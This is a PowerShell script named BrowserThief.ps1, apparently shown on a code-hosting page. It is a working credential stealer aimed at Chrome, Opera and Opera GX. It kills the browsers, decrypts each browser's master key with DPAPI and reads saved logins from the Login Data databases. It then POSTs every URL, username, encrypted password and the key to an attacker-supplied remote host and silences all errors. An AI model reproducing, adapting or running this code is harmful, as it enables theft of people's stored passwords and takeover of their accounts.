-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathBrowserThief.ps1
215 lines (164 loc) · 7.98 KB
/
BrowserThief.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
function pumpndump
{
param(
[Parameter (Mandatory = $true)] [String]$hq
)
$ErrorActionPreference = 'SilentlyContinue'
# Google Chrome
try {
Stop-Process -Name "chrome"
Add-Type -AssemblyName System.Security
$chrome_path = $env:LOCALAPPDATA + "\Google\Chrome\User Data"
$query = "SELECT origin_url, username_value, password_value FROM logins WHERE blacklisted_by_user = 0"
$secret = Get-Content -Raw -Path $(-join($chrome_path,"\Local State")) | ConvertFrom-Json
$secretkey = $secret.os_crypt.encrypted_key
$cipher = [Convert]::FromBase64String($secretkey)
$key = [Convert]::ToBase64String([System.Security.Cryptography.ProtectedData]::Unprotect($cipher[5..$cipher.length], $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser))
Add-Type @"
using System;
using System.Runtime.InteropServices;
public class WinSQLite3
{
const string dll = "winsqlite3";
[DllImport(dll, EntryPoint="sqlite3_open")]
public static extern IntPtr Open([MarshalAs(UnmanagedType.LPStr)] string filename, out IntPtr db);
[DllImport(dll, EntryPoint="sqlite3_prepare16_v2")]
public static extern IntPtr Prepare2(IntPtr db, [MarshalAs(UnmanagedType.LPWStr)] string sql, int numBytes, out IntPtr stmt, IntPtr pzTail);
[DllImport(dll, EntryPoint="sqlite3_step")]
public static extern IntPtr Step(IntPtr stmt);
[DllImport(dll, EntryPoint="sqlite3_column_text16")]
static extern IntPtr ColumnText16(IntPtr stmt, int index);
[DllImport(dll, EntryPoint="sqlite3_column_bytes")]
static extern int ColumnBytes(IntPtr stmt, int index);
[DllImport(dll, EntryPoint="sqlite3_column_blob")]
static extern IntPtr ColumnBlob(IntPtr stmt, int index);
public static string ColumnString(IntPtr stmt, int index)
{
return Marshal.PtrToStringUni(WinSQLite3.ColumnText16(stmt, index));
}
public static byte[] ColumnByteArray(IntPtr stmt, int index)
{
int length = ColumnBytes(stmt, index);
byte[] result = new byte[length];
if (length > 0)
Marshal.Copy(ColumnBlob(stmt, index), result, 0, length);
return result;
}
[DllImport(dll, EntryPoint="sqlite3_errmsg16")]
public static extern IntPtr Errmsg(IntPtr db);
public static string GetErrmsg(IntPtr db)
{
return Marshal.PtrToStringUni(Errmsg(db));
}
}
"@
$chrome_profiles = Get-ChildItem -Path $chrome_path | Where-Object {$_.Name -match "(Profile [0-9]|Default)"} | %{$_.FullName}
foreach ($user_profile in $chrome_profiles)
{
$dbH = 0
if([WinSQLite3]::Open($(-join($user_profile,"\Login Data")), [ref] $dbH) -ne 0)
{
Write-Host "Failed to open!"
[WinSQLite3]::GetErrmsg($dbh)
}
$stmt = 0
if ([WinSQLite3]::Prepare2($dbH, $query, -1, [ref] $stmt, [System.IntPtr]0) -ne 0)
{
Write-Host "Failed to prepare!"
[WinSQLite3]::GetErrmsg($dbh)
}
while([WinSQLite3]::Step($stmt) -eq 100)
{
$url = [WinSQLite3]::ColumnString($stmt, 0)
$username = [WinSQLite3]::ColumnString($stmt, 1)
$encryptedPassword = [Convert]::ToBase64String([WinSQLite3]::ColumnByteArray($stmt, 2))
$params = @{"url"=$url;"username"=$username;"password"=$encryptedPassword;"key"=$key;}
try {
$Response = Invoke-WebRequest -UseBasicParsing -Method POST -Uri $hq -Body $params
$decryptedPassword = $Response.Content
Write-Host "$url,$username,$decryptedPassword"
}
catch [Exception]{
}
}
}
}
catch [Exception]{
}
# Opera
try {
Stop-Process -Name "opera"
$opera_path = $env:APPDATA + "\Opera Software\Opera Stable"
$query = "SELECT origin_url, username_value, password_value FROM logins WHERE blacklisted_by_user = 0"
$secret = Get-Content -Raw -Path $(-join($opera_path,"\Local State")) | ConvertFrom-Json
$secretkey = $secret.os_crypt.encrypted_key
$cipher = [Convert]::FromBase64String($secretkey)
$key = [Convert]::ToBase64String([System.Security.Cryptography.ProtectedData]::Unprotect($cipher[5..$cipher.length], $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser))
$dbH = 0
if([WinSQLite3]::Open($(-join($opera_path,"\Login Data")), [ref] $dbH) -ne 0)
{
Write-Host "Failed to open!"
[WinSQLite3]::GetErrmsg($dbh)
}
$stmt = 0
if ([WinSQLite3]::Prepare2($dbH, $query, -1, [ref] $stmt, [System.IntPtr]0) -ne 0)
{
Write-Host "Failed to prepare!"
[WinSQLite3]::GetErrmsg($dbh)
}
while([WinSQLite3]::Step($stmt) -eq 100)
{
$url = [WinSQLite3]::ColumnString($stmt, 0)
$username = [WinSQLite3]::ColumnString($stmt, 1)
$encryptedPassword = [Convert]::ToBase64String([WinSQLite3]::ColumnByteArray($stmt, 2))
$params = @{"url"=$url;"username"=$username;"password"=$encryptedPassword;"key"=$key;}
try {
$Response = Invoke-WebRequest -UseBasicParsing -Method POST -Uri $hq -Body $params
$decryptedPassword = $Response.Content
Write-Host "$url,$username,$decryptedPassword"
}
catch [Exception]{
}
}
}
catch [Exception]{
}
# Opera GX
try {
Stop-Process -Name "opera"
$operagx_path = $env:APPDATA + "\Opera Software\Opera GX Stable"
$query = "SELECT origin_url, username_value, password_value FROM logins WHERE blacklisted_by_user = 0"
$secret = Get-Content -Raw -Path $(-join($operagx_path,"\Local State")) | ConvertFrom-Json
$secretkey = $secret.os_crypt.encrypted_key
$cipher = [Convert]::FromBase64String($secretkey)
$key = [Convert]::ToBase64String([System.Security.Cryptography.ProtectedData]::Unprotect($cipher[5..$cipher.length], $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser))
$dbH = 0
if([WinSQLite3]::Open($(-join($operagx_path,"\Login Data")), [ref] $dbH) -ne 0)
{
Write-Host "Failed to open!"
[WinSQLite3]::GetErrmsg($dbh)
}
$stmt = 0
if ([WinSQLite3]::Prepare2($dbH, $query, -1, [ref] $stmt, [System.IntPtr]0) -ne 0)
{
Write-Host "Failed to prepare!"
[WinSQLite3]::GetErrmsg($dbh)
}
while([WinSQLite3]::Step($stmt) -eq 100)
{
$url = [WinSQLite3]::ColumnString($stmt, 0)
$username = [WinSQLite3]::ColumnString($stmt, 1)
$encryptedPassword = [Convert]::ToBase64String([WinSQLite3]::ColumnByteArray($stmt, 2))
$params = @{"url"=$url;"username"=$username;"password"=$encryptedPassword;"key"=$key;}
try {
$Response = Invoke-WebRequest -UseBasicParsing -Method POST -Uri $hq -Body $params
$decryptedPassword = $Response.Content
Write-Host "$url,$username,$decryptedPassword"
}
catch [Exception]{
}
}
}
catch [Exception]{
}
}